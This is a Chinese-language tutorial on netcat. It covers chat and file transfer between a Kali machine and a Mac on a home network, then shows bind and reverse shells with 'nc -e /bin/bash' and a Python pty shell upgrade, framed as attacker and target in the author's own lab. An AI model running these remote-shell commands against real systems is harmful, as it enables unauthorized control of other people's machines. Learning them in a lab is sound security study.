- nc全稱爲netcat,所做的就是在兩臺電腦之間建立鏈接,並返回兩個數據流
- 可運行在TCP或者UDP模式,添加參數 —u 則調整爲udP,默認爲tcp
- -v 參數,詳細輸出
- -n參數,netcat不要DNS反向查詢IP的域名
- -z參數,連接成功後立即關閉連接
本文使用兩臺電腦操作,一臺是Kali(192.168.0.23),一臺是Mac(192.168.0.24)
使用NC聊天
有些電腦不支持,而且跟機器使用順序還有關係。
比如我在Kali上(192.168.0.23)輸入:
root@kali:~# nc -l 1234
在Mac上(192.168.0.24)輸入:
➜ ~ nc 192.168.0.23 1234
結果是無法連接。
然而我調換了順序之後,就可以連接了,很神奇:
Kali:
root@kali:~# nc 192.168.0.24 1234
asd
dsa
Mac:
➜ ~ nc -l 1234
asd
dsa
使用NC進行文件傳輸
同樣的,先在Mac上輸入,回車後等待:
➜ Desktop nc -l 1234 > file
.......
在Kali上輸入:
root@kali:~/Desktop# nc 192.168.0.24 1234 < DNS
.........
回到Mac,查看file文件,已經傳輸過來了:
➜ Desktop cat file
@
*
0
000
001
002
NC反彈shell
- 目標是將Kali上的Shell彈到Mac上,最終效果是在Mac上使用命令行操作Kali。
正向反彈shell
Kali上輸入:
root@kali:~# nc -lvvp 7777 -e /bin/bash
listening on [any] 7777 ...
Mac上輸入:
➜ ~ nc 192.168.0.23 7777
回車之後Kali上顯示連接成功:
root@kali:~# nc -lvvp 7777 -e /bin/bash
listening on [any] 7777 ...
192.168.0.24: inverse host lookup failed: Unknown host
connect to [192.168.0.23] from (UNKNOWN) [192.168.0.24] 58773
此時Mac上使用ls命令,列出Kali上的文件信息:
➜ ~ nc 192.168.0.23 7777
ls
52.cn_ips.txt
52.com.cn_ips.txt
Desktop
Documents
Downloads
.....
反向反彈shell
首先在Mac上輸入:
➜ ~ nc -l 7777
然後再Kali上輸入:
root@kali:~# nc -e /bin/bash 192.168.0.24 7777
此時回到Mac,輸入ls即可查看Kali上文件目錄:
➜ ~ nc -l 7777
ls
52.cn_ips.txt
52.com.cn_ips.txt
Desktop
Documents
Downloads
所以正向彈shell是在靶機上監聽端口,然後攻擊者鏈接
反向彈shell是在攻擊者電腦上監聽端口,然後靶機鏈接
如果確定靶機上安裝了python,即可使用python生成一個標準shell:
nc連接上靶機之後首先輸入:
python -c "import pty;pty.spawn('/bin/bash')"